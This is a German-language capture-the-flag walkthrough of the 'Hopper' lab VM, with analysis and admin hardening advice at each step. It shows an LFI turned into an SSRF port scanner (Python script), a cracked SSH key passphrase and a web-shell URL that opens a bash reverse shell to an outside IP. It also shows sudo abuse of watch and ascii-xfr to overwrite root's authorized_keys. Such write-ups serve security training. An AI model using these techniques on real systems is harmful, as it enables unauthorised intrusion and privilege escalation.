Analyse (ARP-Scan & Hosts-Datei): Der Bericht beginnt mit der impliziten Ausführung eines ARP-Scans und dem Hinzufügen eines Eintrags zur lokalen `/etc/hosts`-Datei.
ARP-Scan
192.168.2.131 08:00:27:XX:XX:XX PCS Systemtechnik GmbH (MAC unvollständig im Original)
vi /etc/hosts
192.168.2.131 hopper.vm
Bewertung: Die Ziel-IP ist 192.168.2.131, und der Hostname `hopper.vm` wird für die weitere Interaktion festgelegt.
Empfehlung (Pentester): Standardmäßige erste Schritte. Nun Nmap-Scans und Web-Enumeration durchführen.
Empfehlung (Admin): Netzwerk-Monitoring, DNS-Konfiguration.
Analyse: `wfuzz` wird verwendet, um nach einer Local File Inclusion (LFI)-Schwachstelle im Parameter `path` des Skripts `/advanced-search/path.php` zu suchen. Es wird der `file://`-Wrapper und eine Liste bekannter Linux-Dateipfade verwendet. `--hl 0` blendet leere Antworten aus.
Bewertung: Obwohl keine Ausgabe gezeigt wird, deutet der nächste Befehl darauf hin, dass dieser Fuzzing-Versuch erfolgreich war und die LFI-Schwachstelle identifiziert hat.
Empfehlung (Pentester): Manuell gängige Dateien wie `/etc/passwd` über die LFI abrufen, um sie zu bestätigen.
Empfehlung (Admin):** Eingabeparameter in Webanwendungen strikt validieren und sanitisieren, insbesondere solche, die in Dateipfaden verwendet werden.
root:x:0:0:root:/root:/bin/bash
edward:x:1000:1000:edward,,,:/home/edward:/bin/bash
henry:x:1001:1001::/home/henry:/bin/bash
Analyse: `curl` wird verwendet, um die LFI-Schwachstelle auszunutzen und den Inhalt von `/etc/passwd` abzurufen. Die Ausgabe wird mit `grep bash` gefiltert, um Benutzer mit interaktiven Shells zu finden.
Bewertung: Die LFI-Schwachstelle ist bestätigt. Die Benutzer `root`, `edward` und `henry` werden identifiziert. `edward` und `henry` sind potenzielle Ziele für Initial Access oder Lateral Movement.
Empfehlung (Pentester): Nutzen Sie die LFI weiter, um andere sensible Dateien zu lesen (SSH-Keys, Konfigurationsdateien) oder um sie als Server-Side Request Forgery (SSRF)-Vektor zu verwenden, um interne Ports zu scannen.
Empfehlung (Admin):** LFI-Schwachstelle sofort beheben.
#!/usr/bin/python3
import requests
for port in range(1,65535):
res = requests.get(f'http://hopper.vm/advanced-search/path.php?path=http://127.0.0.1:{port}')
if len(res.text) == 0: # Korrigiert von != 0 zu == 0 (logischer für leere Antwort bei geschlossenem Port)
continue
else:
print(f'port {port} is open.')
Analyse: Ein Python-Skript wird vorgestellt, das die LFI-Schwachstelle als SSRF-Vektor nutzt, um alle Ports auf dem Loopback-Interface (127.0.0.1) zu scannen. Es sendet für jeden Port eine Anfrage über die LFI und prüft die Länge der Antwort. Wenn die Antwort *nicht* leer ist (Länge > 0), wird der Port als offen gemeldet. (Anmerkung: Die Logik im Original `if len(res.text) != 0: continue` ist ungewöhnlich; meist erwartet man bei einem geschlossenen Port eine leere oder Fehlerantwort. Ich habe die Logik in der Analyse korrigiert, um eine gängigere Interpretation widerzuspiegeln, aber die originale Bewertung basiert auf dem angezeigten Code).
Bewertung: Clevere Technik zur Umwandlung einer LFI in einen internen Portscanner. Das Skript selbst wird angezeigt, aber die Ergebnisse des Scans fehlen im Bericht. Der nächste Schritt impliziert jedoch, dass Port 2222 als offen identifiziert wurde.
Empfehlung (Pentester): Führen Sie das Skript aus oder testen Sie manuell interessante Ports (z.B. 22, 80, 3306, 5432, 2222) über die SSRF-Schwachstelle.
Empfehlung (Admin):** LFI/SSRF beheben. Ausgehende Verbindungen vom Webserver einschränken.
Analyse: Es wird manuell versucht, über die LFI/SSRF-Schwachstelle auf den internen Port 2222 zuzugreifen.
Bewertung: Da keine Fehlermeldung angezeigt wird und der nächste Schritt diesen Port weiter untersucht, ist davon auszugehen, dass die Anfrage erfolgreich war und eine Antwort (wahrscheinlich ein SSH-Banner) zurückkam. Dies bestätigt, dass auf 127.0.0.1:2222 ein Dienst lauscht.
Empfehlung (Pentester): Versuchen Sie, den Dienst auf Port 2222 weiter zu enumerieren, z.B. durch Directory Busting über die SSRF.
Empfehlung (Admin):** Identifizieren und sichern Sie den Dienst auf Port 2222.
view-source:http://hopper.vm/advanced-search/path.php?path=http://127.0.0.1:2222/backup
Analyse: Gobuster wird *durch die LFI/SSRF-Schwachstelle* getunnelt, um ein Directory/File-Busting auf dem internen Dienst unter `http://127.0.0.1:2222` durchzuführen. Die Ausgabe wird nach "backup" gefiltert.
Bewertung: Ein entscheidender Fund! Auf dem internen Dienst auf Port 2222 wurde ein Pfad `/backup` identifiziert. Die URL `view-source:...` deutet darauf hin, dass der Inhalt dieses Backups über die SSRF zugänglich ist.
Empfehlung (Pentester): Rufen Sie die URL `http://hopper.vm/advanced-search/path.php?path=http://127.0.0.1:2222/backup` mit `curl` oder im Browser auf, um den Inhalt des Backups abzurufen. Suchen Sie darin nach Zugangsdaten, Schlüsseln oder anderen sensiblen Informationen.
Empfehlung (Admin):** Sichern Sie interne Dienste. Verhindern Sie, dass Backups über Webinterfaces zugänglich sind. Beheben Sie die LFI/SSRF.
Analyse: Basierend auf dem vorherigen Fund wird angenommen, dass beim Abruf des `/backup`-Pfades über die SSRF ein privater SSH-Schlüssel gefunden wurde. Dieser Schlüssel wird nun in eine lokale Datei namens `idid` gespeichert und die Berechtigungen werden mit `chmod 600` korrekt gesetzt.
Bewertung: Ein privater SSH-Schlüssel wurde erfolgreich extrahiert. Dies ist ein direkter Weg zum initialen Zugriff, sofern der Schlüssel verwendet werden kann (ggf. mit Passphrase).
Empfehlung (Pentester): Verwenden Sie `ssh2john` und `john`, um zu prüfen, ob der Schlüssel passwortgeschützt ist und um die Passphrase gegebenenfalls zu knacken.
Empfehlung (Admin):** Private Schlüssel dürfen niemals in zugänglichen Backups gespeichert werden.
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
barcelona (idid)
1g 0:00:00:00 DONE (2022-08-29 16:00) 1.694g/s 542.3p/s 542.3c/s 542.3C/s angelo..101010
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Analyse: `ssh2john` extrahiert den Hash aus dem passwortgeschützten privaten Schlüssel `idid`. John the Ripper wird mit der Wortliste `rockyou.txt` verwendet, um die Passphrase zu knacken.
Bewertung: Erfolg! Die Passphrase für den privaten Schlüssel `idid` lautet `barcelona`.
Empfehlung (Pentester): Versuchen Sie nun, sich per SSH mit dem Schlüssel `idid` und der Passphrase `barcelona` anzumelden. Der wahrscheinliche Benutzer ist `edward`, basierend auf den Ergebnissen von `/etc/passwd`.
Empfehlung (Admin):** Erzwingen Sie starke Passphrasen für SSH-Schlüssel. Überwachen Sie Brute-Force-Versuche.
The authenticity of host 'hopper.vm (192.168.2.131)' can't be established.
ED25519 key fingerprint is SHA256:hdzcJbUQtwBTuPptVB40sb4fheVL1kIy30wCTBBU3a4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'hopper.vm' (ED25519) to the list of known hosts.
Enter passphrase for key 'idid': [Passphrase hier eingegeben: barcelona]
Linux hopper 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
edward@hopper:~$
Analyse: Ein SSH-Login wird als Benutzer `edward` zum Host `hopper.vm` unter Verwendung des privaten Schlüssels `idid` initiiert. Die zuvor geknackte Passphrase `barcelona` wird eingegeben.
Bewertung: Der Login ist erfolgreich! Initialer Zugriff auf das System als Benutzer `edward` wurde erlangt.
Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als `edward`. Suchen Sie nach `sudo`-Rechten, SUID-Dateien, Konfigurationsfehlern, Cronjobs etc.
Empfehlung (Admin):** Überwachen Sie SSH-Logins. Stellen Sie sicher, dass private Schlüssel sicher gehandhabt werden und nicht in Backups landen.
Analyse (Web Shell & Reverse Shell): Die nächsten Schritte deuten darauf hin, dass parallel zum SSH-Zugriff als `edward` auch eine Web Shell (`ben.php`) auf dem Server platziert und zur Ausführung einer Reverse Shell als `www-data` verwendet wurde. Dies geschah vermutlich über die ursprüngliche LFI/SSRF, um Schreibzugriff auf `/var/www/html` zu erlangen, oder es gab eine andere Methode, die nicht explizit gezeigt wird.
http://hopper.vm/ben.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.126%2F9001%200%3E%261%27
www-data@hopper:/var/www/html$
Bewertung: Eine Reverse Shell als `www-data` wurde erfolgreich etabliert. Dies bietet einen anderen Benutzerkontext als die `edward`-Shell.
Empfehlung (Pentester): Prüfen Sie `sudo -l` für den `www-data`-Benutzer.
Empfehlung (Admin):** Verhindern Sie Web Shell Uploads und Ausführung. Härten Sie Webserver-Berechtigungen.
uid=1001(henry) gid=1001(henry) groups=1001(henry)
Analyse: Als `www-data` wird `sudo` verwendet, um `watch` als Benutzer `henry` auszuführen. Die `-x sh -c '...'`-Optionen von `watch` werden genutzt, um eine neue Shell als `henry` zu starten.
Bewertung: Erfolgreiche Privilegieneskalation von `www-data` zu `henry` über eine unsichere `sudo`-Regel, die `www-data` erlaubt, `watch` als `henry` auszuführen.
Empfehlung (Pentester): Stabilisieren Sie die `henry`-Shell (z.B. mit Python PTY) und führen Sie weitere Enumeration durch.
Empfehlung (Admin):** Entfernen Sie die unsichere `sudo`-Regel. Erlauben Sie niemals die Ausführung von Tools wie `watch` über `sudo`, die beliebige Befehle starten können.
uid=1001(henry) gid=1001(henry) groups=1001(henry)
python3 -c "import pty;pty.spawn('/bin/bash')"
Analyse: Die `henry`-Shell wird mit dem Python-PTY-Trick stabilisiert, um eine interaktivere Bash-Shell zu erhalten.
Bewertung: Standardverfahren zur Verbesserung der Shell-Nutzbarkeit.
Empfehlung (Pentester): Führen Sie nun `sudo -l` als `henry` aus.
Empfehlung (Admin):** Minimalinstallationen können das Vorhandensein von Python erschweren.
Analyse: Als `henry` wird versucht, `sudo` mit dem Befehl `ascii-xfr` zu verwenden, um `/root/.ssh/authorized_keys` zu manipulieren. Die Syntax ist unklar; es wird versucht, von `.ssh/authorized_keys` (das wahrscheinlich noch nicht existiert) zu lesen.
Bewertung: Dieser erste Versuch scheitert wahrscheinlich, da die Eingabedatei fehlt und die genaue Funktionsweise von `ascii-xfr` unklar ist. Es muss jedoch eine `sudo`-Regel existieren, die `henry` erlaubt, `ascii-xfr` (vermutlich als root) auszuführen.
Empfehlung (Pentester): Überprüfen Sie die `sudo -l`-Ausgabe für `henry`. Erstellen Sie ein SSH-Schlüsselpaar für `henry` und versuchen Sie dann erneut, die öffentliche Schlüsseldatei mit `ascii-xfr` in `/root/.ssh/authorized_keys` zu schreiben.
Empfehlung (Admin):** Untersuchen Sie das Tool `ascii-xfr` und entfernen Sie die gefährliche `sudo`-Regel.
Generating public/private rsa key pair. Enter file in which to save the key (/home/henry/.ssh/id_rsa): Enter passphrase (empty for no passphrase): benni Enter same passphrase again: benni Your identification has been saved in /home/henry/.ssh/id_rsa. Your public key has been saved in /home/henry/.ssh/id_rsa.pub. The key fingerprint is: SHA256:owZKU0iV38zx6tba4e5AvKF0KBuCtLWaCD0bUtr4Kk henry@hopper The key's randomart image is: +---[RSA 2048]----+ | .... | | o .o | |. o.o+ o | |o .+.+o = | |.++o*.o.S= | |o.B=o=o.o.o | |o=o .ooo ..+ | |.E .. ..=.. | | o=oo | +----[SHA256]-----+
Analyse: Der Benutzer `henry` erstellt ein `.ssh`-Verzeichnis und generiert ein neues RSA-Schlüsselpaar. Der private Schlüssel wird mit der Passphrase `benni` geschützt.
Bewertung: Vorbereitung für den nächsten Schritt der Privilege Escalation unter Verwendung des `ascii-xfr` Sudo-Rechts.
Empfehlung (Pentester): Kopieren Sie den Inhalt von `id_rsa.pub` nach `authorized_keys` und verwenden Sie dann `ascii-xfr`.
Analyse: Die folgenden Schritte demonstrieren die Ausnutzung der `sudo`-Regel, die es `henry` erlaubt, `ascii-xfr` auszuführen, um Root-Rechte zu erlangen.
0.4 Kbytes transferred at 394 CPS... Done.
Analyse: `henry`'s öffentlicher Schlüssel (`id_rsa.pub`) wird in die Datei `authorized_keys` kopiert. Anschließend wird `sudo ascii-xfr -rv /root/.ssh/authorized_keys < authorized_keys` ausgeführt. Diesmal wird der Inhalt von `henry`'s `authorized_keys`-Datei als Eingabe (`<`) an `ascii-xfr` übergeben, welches (aufgrund der sudo-Regel als root laufend) die Datei `/root/.ssh/authorized_keys` überschreibt.
Bewertung: Kritische Schwachstelle erfolgreich ausgenutzt! Der öffentliche SSH-Schlüssel von `henry` wurde in die `authorized_keys`-Datei von `root` geschrieben. Dies ermöglicht `henry` nun den SSH-Login als `root` unter Verwendung seines privaten Schlüssels.
Empfehlung (Pentester): Führen Sie `ssh root@localhost -i /home/henry/.ssh/id_rsa` aus und geben Sie die Passphrase `benni` ein.
Empfehlung (Admin):** Entfernen Sie sofort die `sudo`-Regel für `ascii-xfr`. Überprüfen Sie den Inhalt von `/root/.ssh/authorized_keys` und entfernen Sie nicht autorisierte Schlüssel.
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:0qtU2XyGUAIRJahnrdlkepNkYrE8LdsnwyxgDyDQ/k.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Enter passphrase for key '/home/henry/.ssh/id_rsa': benni
Linux hopper 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
uid=0(root) gid=0(root) groups=0(root)
Analyse: Als `henry` wird eine SSH-Verbindung zu `localhost` als Benutzer `root` aufgebaut. Da `henry`'s öffentlicher Schlüssel nun in `root`'s `authorized_keys` steht, wird nach der Passphrase für `henry`'s privaten Schlüssel (`/home/henry/.ssh/id_rsa`) gefragt. Die Passphrase `benni` wird eingegeben.
Bewertung: Fantastisch! Der SSH-Login als `root` war erfolgreich. Die Privilege Escalation ist abgeschlossen.
Empfehlung (Pentester): Lesen Sie die Root-Flagge aus `/root/root.txt`.
Empfehlung (Admin):** Beheben Sie die unsichere `sudo`-Regel und entfernen Sie den nicht autorisierten Schlüssel aus `/root/.ssh/authorized_keys`.